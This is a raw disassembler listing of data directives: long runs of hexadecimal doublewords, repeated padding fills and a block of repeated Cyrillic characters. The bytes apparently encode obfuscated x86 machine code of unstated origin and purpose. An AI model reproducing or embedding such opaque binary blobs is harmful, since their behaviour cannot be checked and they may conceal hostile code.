		dd 0DAD80D83h, 0FE940BE6h, 288DC181h, 615F7827h, 820FF38Bh
		dd 1Eh,	18800Fh, 12E80000h, 0DD000000h,	0AA6492C2h, 6FB12B3Dh
		dd 0B73E5FB0h, 21FD57BAh, 0F98A5AC1h, 66CEB70Fh, 419DEE81h
		dd 870FF38Bh, 10h, 0BE9h, 1AFD4600h, 0B7ED6243h, 0ADC39C23h
		dd 0BA89EF81h, 816633E6h, 0FF37CE8h, 180h, 0E280F900h
		dd 0BE96027h, 95000000h, 0B6EB2FC1h, 195246F5h,	0DF8B2C1Dh
		dd 0F8F08A61h, 0B0C68166h, 0A2D18092h, 80335AB8h, 0CBB70F4Fh
		dd 7163BA66h, 830Fh, 81F80000h,	97DBD0D0h, 5E8606Fh, 0FE000000h
		dd 923F0868h, 850Fh, 615A0000h,	14CB8160h, 6600C66Bh, 159DD181h
		dd 0B95A5261h, 752DD95Ah, 0CE9h, 64032B00h, 14408AC5h
		dd 0B2B5F03h, 0D181661Bh, 0F3815F82h, 6864A7BDh, 15820Fh
		dd 0E9600000h, 0Eh, 0C4523383h,	0A04096D0h, 0B8363580h
		dd 0BA61C7F1h, 2C5205D5h, 0C8C68166h, 5360FC3Ch, 587AD580h
		dd 0CE9h, 30D72900h, 0B70972A5h, 0D235D49Fh, 60516114h
		dd 0F2ED580h, 86h, 0E9586100h, 0Ch, 0C3D20A6Ch,	0C4F749CBh
		dd 8AD4AE67h, 0DE816653h, 0F85BFED3h, 8E0FD78Bh, 14h, 0FE9h
		dd 301D9500h, 6D24036Bh, 0FAB58A08h, 3ED50225h,	0ED25BA66h
		dd 4D06B966h, 0CA805650h, 60585BC3h, 0F1B70F56h, 0DF81665Fh
		dd 8B6119A1h, 0C08166C1h, 0E381320Fh, 800DAA0h,	0FCDEB70Fh
		dd 60CABF0Fh, 5E8h, 4F764A00h, 810F145Ah, 0
		dd 5870F5Bh, 66000000h,	96D7C981h, 38C0F61h, 0F000000h
		dd 0E853F1BFh, 0Ah, 9B9D971Bh, 7FBD0C2Dh, 0E3B81716h, 5B27EDC0h
		dd 3890F58h, 66000000h,	8F0FD98Bh, 14h,	0FE9h, 555DA900h
		dd 4383995Eh, 54D275D5h, 66DEBA0Ch, 0C5DBBF66h,	0E960D78Bh
		dd 0Fh,	98331175h, 0E7EE73B8h, 617763D9h, 6603AE1Ch, 0AF23EB81h
		dd 0FE96061h, 5A000000h, 1453F31h, 439BCB05h, 143D7D6Dh
		dd 8166C2EEh, 619DC0C0h, 0F88A57F8h, 89DF805Ah,	0FFBB70Fh
		dd 388h, 0F2C58000h, 12E9h, 270F8100h, 417F9EAAh, 8392BBA0h
		dd 0D639AEB2h, 0F9057D7h, 0D8Bh, 7E800h, 9B560000h, 2313AE6Ch
		dd 8BF55E98h, 14E9C2h, 99070000h, 0A9C3386Ah, 7C3F52A4h
		dd 9FBB0B8Bh, 30526748h, 0B86648D6h, 11E9FA25h,	0C000000h
		dd 6980C482h, 7E636A12h, 6503BACBh, 40884A9Ah, 0E9D7C280h
		dd 0Fh,	0F050178Fh, 0FF221291h,	13DCFAF2h, 0E94C18C9h
		dd 0Fh,	77E6DE3Ah, 1D814B0Ah, 8BA98004h, 66231846h, 9FB0CE81h
		dd 66FFC780h, 0BF0FCF8Bh, 0EE8166FAh, 840F4519h, 6, 44B96656h
		dd 10E85A8Dh, 0A1000000h, 738C7191h, 8689F182h,	0D7710A05h
		dd 0B8414788h, 2E20FD38h, 0F78B665Eh, 81F92DB4h, 44531AC3h
		dd 0DF8B6647h, 58F0Fh, 81660000h, 81DDCBE3h, 83A9B1C1h
		dd 5E90Eh, 0ACB70000h, 0E907072Dh, 14h,	38E1194Eh, 18EE0A00h
		dd 5339253Bh, 45DCB42Dh, 0C1BE2080h, 4190BE66h,	81C3BF0Fh
		dd 875E90D8h, 0BBE6661h, 48E0F70h, 51000000h, 0F586160h
		dd 0F9FCD9B7h, 94F2CABAh, 0DA8B6619h, 0E8F88B66h, 12h
		dd 5497CCDCh, 0AFF823B3h, 63DB4349h, 8FBC7BF9h,	0F600959h
		dd 85h,	5E61FC00h, 0CE8B66F9h, 5E9h, 0F4904300h, 0F60DA88h
		dd 8166DFBFh, 616734DAh, 0AE952F9h, 0A1000000h,	0C61ABE8Bh
		dd 2D468678h, 8B6658C9h, 0F8F18BF9h, 380EA9B8h,	0E94BB56Dh
		dd 5, 99679504h, 5E52600Ah, 61C38B66h, 8D1BD3BBh, 81D88B47h
		dd 0B7154DC8h, 0C28BF528h, 5FB1CF8Bh, 0C78B6660h, 0C680F681h
		dd 0F96157C4h, 7890Fh, 8D0F0000h, 1, 5E9F9h, 0E88D0000h
		dd 0E957C240h, 7, 895DB57Fh, 0E905669Ah, 0Fh, 81A04771h
		dd 0AC7FD364h, 0F3CDBA35h, 66D4B823h, 0E7A8C181h, 0FEFEA80h
		dd 38Fh, 0C68B6600h, 8166F88Ah,	0F2C6FDEh, 8B66CEBFh, 0CE8C6h
		dd 72270000h, 515E1D03h, 4728A48Fh, 816635A1h, 5F30D4D7h
		dd 0F4CB060h, 68Dh, 0EBEE8100h,	61328D2Eh, 0CEB70FF9h
		dd 13E960h, 387C0000h, 27357395h, 0B91A53D0h, 84989FCBh
		dd 453BF84Fh, 12E935h, 0BEA90000h, 6343D128h, 0CE38AF21h
		dd 71739193h, 0C9A193DEh, 0FAB06061h, 7E9h, 4D090800h
		dd 49C0930Fh, 7E95161h,	0C000000h, 0BF5AD058h, 0F55FACC2h
		dd 58028BB8h, 46BE6648h, 0DE9BFh, 46C50000h, 44956B22h
		dd 0BA09DFD3h, 0E9AF4DA9h, 10h,	0FDD4875h, 7402AAA3h, 404DA063h
		dd 0DD1F8D71h, 8BCB8B66h, 5860FF1h, 0BF000000h,	471E6208h
		dd 0CE8h, 0FEFD8200h, 3DB9D473h, 8359B9F8h, 665EFC83h
		dd 0F5BB80B9h, 6FA3D981h, 0DE97BA8h, 0BA000000h, 51A34C92h
		dd 0F7CAB5DAh, 0FD7E3D0Fh, 5810Fh, 81660000h, 0BBA4F6E2h
		dd 6EDB5D43h, 0E3E9EFBFh, 0D781661Fh, 8A0FA8C6h, 2, 820FDA8Ah
		dd 0Ch,	8B0F60h, 66000000h, 61FFFCB9h, 8B54E880h, 0F2B70FD7h
		dd 9E9C0B3h, 1D000000h,	1F2D54B9h, 0AA6880BDh, 0BDEA8166h
		dd 0E850601Ch, 6, 8558C7CBh, 5B5E601Dh,	66F38A61h, 0BB66F98Bh
		dd 0D78BCE38h, 48F0CB81h, 0B70F236Dh, 4EBF66DEh, 3840F10h
		dd 66000000h, 6E9F08Bh,	0FC000000h, 8FA8654h, 5BC0B941h
		dd 8D0F6AA7h, 4, 7EF7B866h, 5EC18B50h, 8E9h, 9EE75D00h
		dd 52152892h, 46E280C6h, 0EE9h,	7D08E600h, 0ABF9B3EAh
		dd 77873FE3h, 80997C75h, 6651DCF2h, 597F59BBh, 0B0CBBF0Fh
		dd 8B45B1D1h, 0AE9C8h, 5D9C0000h, 63FE6D2Ah, 0DC440032h
		dd 83E08166h, 5E8A6h, 8A540000h, 66D8BE59h, 0F59C68Bh
		dd 285h, 0E83BB300h, 0Dh, 5537165Fh, 6D1BFBC0h,	5F6275E5h
		dd 0DEB70FF0h, 12E85Eh,	88800000h, 0E0C55A16h, 78688E87h
		dd 0FB4599C8h, 0ABFDF12Eh, 0F505FF9h, 280h, 5989B500h
		dd 0DABF0F56h, 11CF805Fh, 3880Fh, 0E4800000h, 1890F62h
		dd 0FC000000h, 12E9h, 0B1AE7A00h, 7C7C8214h, 41726D56h
		dd 81500EDDh, 0E91F90B4h, 5, 3EBF265Dh,	0C860F97h, 0F000000h
		dd 68Fh, 8B0F00h, 0F8000000h, 0F7BC580h, 8Fh, 0A3B3F800h
		dd 7B0CB866h, 0BAE08166h, 5E9EAh, 88FE0000h, 6664FE34h
		dd 0B8129BB8h, 4DC6121Bh, 5890FFCh, 66000000h, 9A5CE881h
		dd 0F0B70FF8h, 0FE956h,	81C90000h, 278837F3h, 1C11540Dh
		dd 0BFBED63Eh, 840F5946h, 7, 1890Fh, 0FFC0000h,	7E9F1B7h
		dd 18000000h, 0D73DFE1Fh, 0F4808BE4h, 7BEE81E7h, 0B357CBDCh
		dd 60FA8BB9h, 20D4A4BBh, 0C9816652h, 8B612DBDh,	32BB66F9h
		dd 6E984h, 92190000h, 0D90E8429h, 0F957CB8Bh, 6650605Ah
		dd 605FFE8Bh, 20D8BA66h, 61616160h, 3AB7C0B8h, 860F607Ch
		dd 6, 0C9C2E881h, 8061061Bh, 0AE918F0h,	0A2000000h, 911C3207h
		dd 0C69AE9A6h, 0FE9F8h,	0BF6C0000h, 0B187A924h,	0D444B833h
		dd 558F0858h, 0FE9C8h, 743E0000h, 7A6D2E3Fh, 43E152FEh
		dd 0AE7559F3h, 72CF81BAh, 0FC2C7FBAh, 9E9h, 7ED9A800h
		dd 0B871E561h, 0FE84462h, 0BF000000h, 68C512B2h, 0EA505179h
		dd 7960E088h, 0D5BAA499h, 58061AE5h, 6830Fh, 0DB810000h
		dd 4F3675C7h, 0B70F6060h, 0F4F181D0h, 617BD941h, 7923E781h
		dd 0F86156EBh, 0DF8B5851h, 1800Fh, 0FFC0000h, 0B84h, 58E0F00h
		dd 0BF000000h, 113C7E70h, 8D0Fh, 0B70F0000h, 0BE5953FEh
		dd 22597956h, 0C5EF8166h, 880F601Ah, 2,	0BF0F5851h, 5E961F2h
		dd 91000000h, 2F00BA2h,	0BF0FD88Bh, 50EB81F6h, 0F96938BAh
		dd 0E81EE780h, 7, 0FAB90B51h, 0E95AD351h, 6, 90CDD929h
		dd 0E85FC59Eh, 14h, 0ED5DB1E9h,	35A43AD8h, 1C3207A2h, 9AE9A691h
		dd 2AF8F8C6h, 8B5FFB8Bh, 0FAB70FDEh, 14580B9h, 58C0F38h
		dd 0BA000000h, 6F5B0856h, 0DE9h, 0D2A77000h, 380F4C3Eh
		dd 337C87AEh, 53607C95h, 34E38166h, 8F0F5933h, 0Eh, 8E8h
		dd 30D6E800h, 0AF7771AAh, 0E8615E3Eh, 5, 316F3806h, 108E0F3Ah
		dd 0E9000000h, 0Bh, 9D6BEA05h, 0F98C3707h, 5BE2D55Eh, 0CBB70F60h
		dd 52F561F5h, 5BC1BF0Fh, 0CEC18060h, 5661F78Bh,	58D18B66h
		dd 66DA8B66h, 0E8BD75BAh, 0Ah, 0DE33AF62h, 770B773Dh, 8166FA99h
		dd 5A27C8C3h, 7E9h, 68A4CF00h, 0FD6B8A3Eh, 46E18166h, 6E9609Dh
		dd 74000000h, 0E879E1E8h, 0A7EB808Ch, 14E861h, 318C0000h
		dd 0D03B45D9h, 0E2F3E87h, 5A170912h, 3E48C00Ch,	880F276Ah
		dd 4, 3FEAB866h, 5A69BE5Bh, 7CB678F6h, 13E9h, 0F8876A00h
		dd 0DAC82303h, 0B8A45F76h, 0BD7484DFh, 9665657h, 58A0Fh
		dd 0EABE0000h, 8B65FB81h, 7E180F9h, 9E9h
		dd 2D76F800h, 740744B9h, 0BF0F1556h, 29BA66C1h,	51F18B2Dh
		dd 8B0F58F9h, 0Ah, 48C0Fh, 0BE660000h, 8D0F8227h, 1Ah
		dd 148F0Fh, 0FE90000h, 42000000h, 0F9C61DFBh, 3AC6D40h
		dd 0DD70CEF7h, 0BB661EE7h, 0F960C99Fh, 61CF8B66h, 5357EF80h
		dd 5F9ECF80h, 1F8B0Fh, 13E80000h, 81000000h, 5C72D65Ah
		dd 3876DD79h, 3D2C08FFh, 0A296E20Dh, 8E0FBC2Ah,	0
		dd 0C181665Ah, 13E920CDh, 67000000h, 7800D638h,	47E6EEB0h
		dd 0D9E0171Fh, 0F1DAD586h, 4CBADEF1h, 8B6EED28h, 0CB8166F0h
		dd 0D2816FACh, 5B6CFFCEh, 6800Fh, 0EF810000h, 51ED86BFh
		dd 0F380CA8Bh, 66E78A35h, 512C80BAh, 4870Fh, 0BF660000h
		dd 6658ABEFh, 0E98A57BEh, 0Dh, 87BA075Ah, 8FA44408h, 5D590BB1h
		dd 0D9F5BFC5h, 7E92A01h, 0B4000000h, 812D4E2Bh,	0B760806Fh
		dd 12E9DDh, 87A00000h, 82FAC0CEh, 0C5855072h, 7B4A7FC1h
		dd 74E1FD97h, 0E2816661h, 666097E3h, 0EE24E681h, 0DE9h
		dd 82283900h, 442DA3C8h, 0DDC30CABh, 66613548h,	0F9A10BBh
		dd 582h, 0D7816600h, 0BE8C6E3h,	18000000h, 7B163B93h, 0E8ACA4D3h
		dd 7E984E9h, 4000000h, 0B576F0DFh, 0F5EC21Eh, 589h, 0E30BBF00h
		dd 8166306Bh, 0F1FEAC1h, 8Fh, 5AF85300h, 0C0B70F60h, 12E961h
		dd 3A320000h, 2AAFC356h, 6D763887h, 0D80ED592h,	0EF843825h
		dd 1820Fh, 0F8F90000h, 61F86060h, 3DE88166h, 4B5617Dh
		dd 939EE181h, 10E908D2h, 0F8000000h, 71863D27h,	39B7531Bh
		dd 48A7B6DDh, 0BE8D2E1Fh, 3B5134E5h, 81C28B66h,	0C7949DEBh
		dd 10E97Dh, 0EF3F0000h,	27A8528Fh, 0D85D2AEDh, 73C91CCAh
		dd 0F60BB29h, 0BF0FCEB7h, 8B6661D0h, 0FE9D0h, 40340000h
		dd 2558671Eh, 43ED76B8h, 0ED13409Fh, 0EE9F93Eh,	57000000h
		dd 608DB812h, 86B8D52Ch, 54FFB486h, 0BE9509Bh, 3B000000h
		dd 0EC88467Bh, 0D57B4077h, 605EA7FDh, 10E8F8h, 0C1C00000h
		dd 8F3497ACh, 64661C1h,	0B83BAD46h, 0B70FEB3Ch,	0E8615BC9h
		dd 10h,	6A048FB1h, 0A3159B65h, 6B673768h, 0E4FD8098h, 6BB2B866h
		dd 0E7816658h, 8B0FB0DDh, 3, 0E9D1B70Fh, 10h, 0B71D7251h
		dd 3EC5E0D3h, 0CE40045Dh, 83E9116Bh, 0F2466BBEh, 151BBA5Ch
		dd 0E9601498h, 0Fh, 9A9FFDBDh, 0C4C1A89Ch, 8DE53579h, 53D023CBh
		dd 615ED18Bh, 0E808D081h, 5E5601EBh, 66CCE280h,	0B509E781h
		dd 14E8h, 5877D00h, 81C8F031h, 0FA8654FCh, 431B4108h, 5AF32EEDh
		dd 14E9F0h, 13BC0000h, 4A9D54A9h, 0C9B33A11h, 0E4D2E5F8h
		dd 0B145AFA4h, 0F5B9661h, 82h, 0F78B6600h, 9E8h, 80629C00h
		dd 74549A67h, 6656CC4Dh, 5F59F78Bh, 23890Fh, 8E80000h
		dd 71000000h, 67024F2Eh, 0E8D9098Ch, 0Fh, 4788D771h, 1D9ED841h
		dd 1C40C24Bh, 5FA30A5Fh, 0D080565Bh, 0AE95EDFh,	55000000h
		dd 0ACC6D6F6h, 54464F12h, 806DB450h, 0E78A8FE5h, 28A0F52h
		dd 52000000h, 0F98B585Ah, 4578EF81h, 0C3815680h, 20D876D7h
		dd 8BFC83B4h, 9E8D3h, 0F6290000h, 346BC3B2h, 0E9D2CD33h
		dd 0Fh,	706A81AEh, 0C04C0979h, 4190D688h, 5B873553h, 8E9h
		dd 9B07B100h, 0F7367CFh, 8E9D9h, 0EAD70000h, 4A7CF0C5h
		dd 0EE8A157Ah, 0DE9h, 0F94D7B00h, 14DEB83Dh, 6F40EBF1h
		dd 8166AA09h, 0E9A35FCAh, 12h, 0E2DF26h, 9B391D94h, 0D0E70C9h
		dd 0F1731135h, 0FFCD188h, 283h,	6666B100h, 0D395C881h
		dd 1DFCB966h, 8AFA1DB8h, 0D680513Bh, 0B8665FC0h, 5E90CB9h
		dd 31000000h, 0D0037725h, 0E33FC5BBh, 0DE93Dh, 28250000h
		dd 7E5FF0FEh, 0FF01BFAFh, 0F41FE5Bh, 480h, 0D18B5600h
		dd 14E95Bh, 0D8500000h,	0BF8D1147h, 0ACE145DFh,	73291B37h
		dd 0B02FC089h, 66FC179Fh, 9E8FE8Bh, 41000000h, 1A606B2Fh
		dd 0DD851848h, 0A3BF665Eh, 30B966D5h, 43BF66EFh, 12E8F98Dh
		dd 0B8000000h, 9E64C65Eh, 0D9EA0371h, 0DE43F608h, 4117B68Dh
		dd 11E888h, 84BF0000h, 7D37CE54h, 3C41430Fh, 0BEF7BC2h
		dd 0E9AF010Fh, 0Fh, 42712F27h, 0A351AA10h, 845DBE04h, 59851272h
		dd 0AE95Fh, 66CE0000h, 0D3BAFB71h, 0C431B1F5h, 3840Fh
		dd 0D1800000h, 0EB0F8BBh, 0D7697AB9h, 0BE66F950h, 0DE90D80h
		dd 76000000h, 861ED1BDh, 25A6A51Ch, 0E91BF726h,	0E06CC381h
		dd 0C5BB2F78h, 0F79BB31h, 0B70FFBB7h, 0C3BF0FFBh, 0D860Fh
		dd 5E80000h, 8C000000h,	38D76180h, 665A6160h, 8D0FD18Bh
		dd 1, 4CBA60F8h, 8B0867C6h, 0FE961F9h, 41000000h, 0A0D377F5h
		dd 7E39C65Dh, 6EC042C1h, 0D480A000h, 0DF816658h, 0E4BE4488h
		dd 6620A557h, 66FFCEB9h, 12E9D18Bh, 62000000h, 0FD735DE7h
		dd 44128B25h, 167CDE6h,	0FE3558D7h, 0F680607Bh,	1EBA66D9h
		dd 0B8666134h, 0FE9F90Ch, 84000000h, 0E5742C11h, 2D26ABD6h
		dd 6894AD29h, 0D2810C4Eh, 3DDCC314h, 0FE9h, 4F4BC800h
		dd 0AB454959h, 0EA0DB52Fh, 3BA2E123h, 13E9h, 0DD6BF00h
		dd 0A048B20Dh, 62F0ABB8h, 505EBA8Ch, 0AB1A5531h, 38D0Fh
		dd 8B660000h, 13E9FBh, 0A4720000h, 846C79EDh, 0DE3B9B23h
		dd 319EA435h, 37662C3Bh, 5E86025h, 45000000h, 8818D50Ch
		dd 5B21D280h, 58A0Fh, 81660000h, 61832DE7h, 11E8h, 0EB1C8C00h
		dd 9BF6500Dh, 3C8384CCh, 0CE08C104h, 9E8E523h, 0D5000000h
		dd 10F82E50h, 0D2CE4960h, 0C2D28166h, 0E85F5A79h, 12h
		dd 5C7F438Dh, 6E464F4h,	0CDD2C4C4h, 0A0E7CF1Bh,	830FC1E1h
		dd 2, 8B5AE28Ah, 0FC68BF0h, 0BF0FD1B7h,	0D8B860CFh, 805FF19Fh
		dd 0F861CEF4h, 0F60E78Ah, 483h,	0CBE6600h, 12E953A1h, 0BB000000h
		dd 0E5E49939h, 0A5B3B06h, 0DA45FE77h, 3D0D86C1h, 60615BE4h
		dd 97E8BE66h, 7E961h, 34E50000h, 0FD125AC5h, 9E9CEh, 0FE020000h
		dd 860C002Ah, 0FABD262h, 8F0FF3BFh, 4, 7C89B966h, 0C18166F9h
		dd 0B660EABCh, 0F18B665Ah, 3880F61h, 66000000h,	0FE8C88Bh
		dd 0C6000000h, 0DCE0F448h, 33F40931h, 0BCFD880Dh, 5060AFA9h
		dd 12E959h, 6EF60000h, 3C3CDB9Eh, 5C7BD98Fh, 65A1D790h
		dd 30820080h, 11E95A61h, 0FB000000h, 0A35C5CE7h, 76C22E1h
		dd 0A8844ECh, 0EE31FBE6h, 0AE9h, 0B01D1500h, 313FFD1Dh
		dd 66C6DFEAh, 0CE8BFA8Bh, 118A0Fh, 0BE80000h, 85000000h
		dd 48FBEFABh, 75345513h, 0B15F171Bh, 0D3E9809Eh, 0C0BF0FF8h
		dd 5094D681h, 0C8816482h, 79835A95h, 4800Fh, 0BF660000h
		dd 0FC6090FCh, 1820Fh, 61F50000h, 0BAE42FBEh, 25E88100h
		dd 0F8613697h, 5870Fh, 6EBA0000h, 8B07C844h, 0CE9F8h, 0BDA0000h
		dd 0D709D2C8h, 686A2910h, 66F9A9B4h, 6656DF8Bh,	0F74DE681h
		dd 53BA665Ah, 13E86021h, 0AB000000h, 42E6437Eh,	778FBABFh
		dd 66D5BAEDh, 4CE7EB0Eh, 816605E6h, 58DEF2D1h, 0DE8h, 81915100h
		dd 0F69BB0EBh, 49C411CCh, 0DE8A69Ah, 0D1000000h, 1E6884A3h
		dd 4DE5F59Fh, 0B6927433h, 66615A59h, 932FC981h,	0EA816060h
		dd 0CA3A31Fh, 880F6161h, 8, 2870Fh, 0F38B0000h,	0DF81DD8Ah
		dd 3DC24140h, 663BB6FCh, 0EBC6C181h, 0E952F88Bh, 5, 0B3ECB12h
		dd 0DE805E4Ch, 8B666059h, 816661F8h, 0F58E2DFh,	987h, 49BE6000h
		dd 600BFA14h, 0C1816161h, 1CD820B4h, 0BE8h, 0C4795500h
		dd 0C22D4971h, 16AD0342h, 0BB665FFCh, 5E8FA74h,	9C000000h
		dd 4BD0CFCEh, 5FF85159h, 5E9h, 25E9C00h, 0C58AA020h, 58E78166h
		dd 2CEF8097h, 14E8h, 720B5400h,	71C5F57Fh, 51B89698h, 519C9901h
		dd 266B259Dh, 66F9586Dh, 8E0FF78Bh, 6, 0A038C281h, 8E0F340Bh
		dd 5, 890E4FB8h, 0C3B70F0Fh, 0F9C3BF0Fh, 0E1C14AB8h, 38A0F04h
		dd 0F000000h, 10E9FFBFh, 0E9000000h, 0B10CE1A5h, 0BF03B48Ah
		dd 0C11A4B35h, 0F2015C6h, 283h,	0E9D88B00h, 9, 7D810C0h
		dd 0B4D6C408h, 8820F0Fh, 60000000h, 0BB665953h,	0F561AD25h
		dd 60C38AF9h, 0BED6E681h, 816633E2h, 61FA2ACAh,	0E937B560h
		dd 0Ah,	55EDC8FCh, 88082B2Eh, 0F561786Eh, 6850Fh, 820F0000h
		dd 0
		dd 318C8EBFh, 0CFBF0F66h, 6316B866h, 6E95B52h, 20000000h
		dd 0EF1DDA29h, 4810F7Dh, 66000000h, 8A4086BBh, 0BE6660D7h
		dd 9B5D627h, 138D0F61h,	0F000000h, 0D82h, 7E800h, 0FA100000h
		dd 0C6C4F872h, 8A0F59F2h, 0Ch, 7E9h, 13018B00h,	0E566FADCh
		dd 5ED18166h, 0C28B66B2h, 2EF0D281h, 60FC4347h,	48D0Fh
		dd 0B8660000h, 0DF8BD18Ch, 4CF78161h, 8166AA2Eh, 0DD3317CEh
		dd 5E93Ch, 8E9C0000h, 0F81F73F7h, 0C860F60h, 0E8000000h
		dd 6, 77796646h, 8B5F8227h, 0B70F61CFh,	0D78B57C0h, 66D38B5Bh
		dd 50CAD2BAh, 14E9h, 0BFFA2700h, 2383B9A2h, 1B78B48h, 77EA9987h
		dd 25E4D9DEh, 0DE95FCCh, 30000000h, 5B11ED6Ch, 0DA0F1E18h
		dd 0B9DD3A83h, 60F28B66h, 7E8h,	79635B00h, 2FB6D54Ah, 60615FF5h
		dd 0CB2BC981h, 81616D5Dh, 0E2A8D7C1h, 0D6F78129h, 0BF631D3Eh
		dd 769E650Fh, 0AE9h, 0FDDC4C00h, 8AFAF8A8h, 60F5960Fh
		dd 0BE9h, 77A80200h, 8DC5B98Ch,	65DAE12Bh, 7E961h, 418B0000h
		dd 0B2660134h, 0CE8B6653h, 12E9h, 3FA58700h, 426C8F29h
		dd 0CCC53EFDh, 0C13710Eh, 0B993A62Bh, 64B5E6F1h, 12E8h
		dd 33261900h, 66E1FFA7h, 3BCC4092h, 0B685E3F9h,	0F5A18C1Fh
		dd 0DE81665Bh, 81669B85h, 668A5FCAh, 0BE8DE8Bh,	0BD000000h
		dd 793EC9B1h, 96D75FDFh, 0F18B664Dh, 0C890F59h,	0E9000000h
		dd 7, 5FE9256Bh, 0FC21271h, 12E8D2B7h, 95000000h, 0BF06A1C6h
		dd 0B29091DEh, 51AC7EDh, 93AC5D16h, 12E9EFh, 96A40000h
		dd 0BFDEE5ECh, 883D8926h, 0C9267F0Dh, 6535F915h, 8B66605Bh
		dd 0FE9F3h, 3FB20000h, 0F28A5F9Ch, 0A605EA97h, 6E6C5B85h
		dd 5FB96174h, 8A3B7BD2h, 45A8B9EFh, 0E96049FCh,	0Bh, 287B9570h
		dd 0A445C864h, 0F3C9C6Eh, 0BE61F6BFh, 7E621CF5h, 66D0BF0Fh
		dd 6E8CB8Bh, 0F7000000h, 1687B83Ch, 0B810FEFh, 0E9000000h
		dd 6, 0DCE44ACEh, 60586755h, 0C8DE8166h, 9F93BB92h, 0F61349Dh
		dd 58Dh, 0B70F5300h, 0BF0F5AFEh, 7870FC7h, 0F000000h, 186h
		dd 12E9F800h, 4F000000h, 802EE8FBh, 0A3DAAFB3h,	6637247h
		dd 0EB699B99h, 0D8BF0F98h, 9D10B966h, 5810Fh, 81660000h
		dd 513C8CD7h, 6850Fh, 800F0000h, 0
		dd 15890F5Fh, 0E9000000h, 10h, 0D14FD334h, 4DE6C418h, 0C1EB8036h
		dd 23544725h, 0E9D68B66h, 10h, 4A10A2B4h, 0D5F1F6B6h, 0D24E766Bh
		dd 0F860199Fh, 8151D88Bh, 905AA7C1h, 0E9605934h, 7, 0B3DBF365h
		dd 61B00618h, 48F0Fh, 0B5500000h, 66F55F32h, 0D681D88Bh
		dd 10635E6Eh, 8776B966h, 0C8B70F52h, 0BE95Eh, 93760000h
		dd 0C20CFC19h, 759392ABh, 8E9A0h, 268F0000h, 0A2EAE259h
		dd 0DB81CF36h, 2CCF4EEAh, 6C597FBFh, 0B70F5706h, 0BB665FF0h
		dd 0EF81CA92h, 28D65329h, 3820Fh, 0CE800000h, 0AEB1F8CBh
		dd 15CE8166h, 0F18B66CCh, 0F95CCB80h, 12E9F9h, 75E50000h
		dd 0F6F05F62h, 0D391F37Bh, 4097E89Ah, 23FFD95Bh, 0C38B6653h
		dd 0F3D1815Fh, 81769A24h, 47F770DEh, 6660F530h,	58B4DB81h
		dd 8E960h, 0C9CB0000h, 0E4896FC0h, 8F0FB615h, 0
		dd 14E96161h, 0
		dd 33A958ABh, 0D19EC490h, 38437879h, 0A22B3882h, 8A08F7EDh
		dd 52BE66CFh, 0F06B2D5h, 1580h,	10E900h, 0A7860000h, 515CCA18h
		dd 85089EDDh, 72E1534Dh, 0F98BF10Dh, 14E9h, 158CB300h
		dd 0B8C7EB2Eh, 0C6F6C5E8h, 2BBB374Ch, 7CBB0A47h, 0F7BF0F67h
		dd 119A85B9h, 0FD58A16h, 1089h,	0BE900h, 0AF470000h, 773258CEh
		dd 21F919B6h, 0FE8E5h, 0AFF70000h, 683ED6BEh, 42815648h
		dd 1763400h, 6DBF6650h,	7E85B41h, 84000000h, 768758E9h
		dd 0E9512F42h, 0Eh, 121E85BBh, 0DC3C7B79h, 9005C44Dh, 5B582E86h
		dd 3830Fh, 0BF0F0000h, 0EE8166FBh, 8C0F92FAh, 12h, 0AE853h
		dd 0F4790000h, 0E7008B23h, 9E7E6C4Bh, 0DE8B585Fh, 10E9h
		dd 56AD4300h, 830FBD5Ch, 0C5886559h, 0A4430456h, 0D0D8819Ch
		dd 0F932005Eh, 60F88B66h, 0CF8B66F9h, 0E9F96061h, 0Fh
		dd 97BF95CCh, 1481B0D1h, 0B1CC1692h, 615F1D4Ah,	0B9D9B70Fh
		dd 56911A43h, 30E38166h, 42D4BA30h, 800F7BABh, 5, 59F08166h
		dd 13830F8Fh, 0E9000000h, 0Eh, 9DEB8C09h, 0C2C7E587h, 6FB8D4E4h
		dd 0F566BB1h, 584h, 0E8816600h,	515B8D0Dh, 815E57B0h, 49E9C7C8h
		dd 9E35B93Ah, 870F2F5Ah, 3, 60D9BF0Fh, 7E9h, 0A033B900h
		dd 4235C4FDh, 2860F61h,	0B5000000h, 0EF8166F6h,	5E51FA01h
		dd 0F5C38166h, 0E3816628h, 816671D9h, 8BFCE1DEh, 0E95253C1h
		dd 0Eh,	4C1F769Ah, 4B0E063Eh, 0CC5743E5h, 5959A180h, 13E0B866h
		dd 0C860Fh, 5E80000h, 57000000h, 442F54B3h, 815158F5h
		dd 0C23DBCC6h, 5E85E66h, 76000000h, 22838245h, 48D0Fh
		dd 0B9660000h, 6658FFA8h, 7E8CD181h, 0B70FF9F5h, 0E7BA66F8h
		dd 6810F31h, 81000000h,	0FA8ADEF3h, 605A5146h, 0FFAB70Fh
		dd 0F61F6BFh, 8153FAB7h, 0E94479D9h, 8B0F5A22h,	2, 0DE9C68Bh
		dd 12000000h, 77F694E3h, 6F17049Ah, 5348BBC6h, 38C0Fh
		dd 0B70F0000h, 0DB8166C0h, 0B70F629Ah, 53E081F3h, 0BF7573E9h
		dd 2CF7E6AAh, 14C18166h, 66E68A1Eh, 0F78BC68Bh,	52F5E681h
		dd 7E818F9h, 96000000h,	304D9092h, 0CE802BBh, 0D2000000h
		dd 8C44B0EEh, 108220D4h, 609CF96Ah, 0E1585B61h,	27h dup(0E140C28Dh)
		dd 6D85C28Dh, 242h dup(6D879609h), 42Bh	dup(3A5CE287h)
		dd 63138D87h, 16h dup(63138E16h), 70C91A16h, 197h dup(70C91944h)
		dd 0E36B1944h, 6Ch dup(0E36B33E2h), 0CFh dup(41CDCACBh)
		dd 9BCDCACBh, 3E5h dup(9B34FB7Eh), 0CCCCFB7Eh, 2D1h dup(0CCCCCCCCh)
		db 3 dup(0CCh)
asc_5D4D5B	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: ___:off_43163Co
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
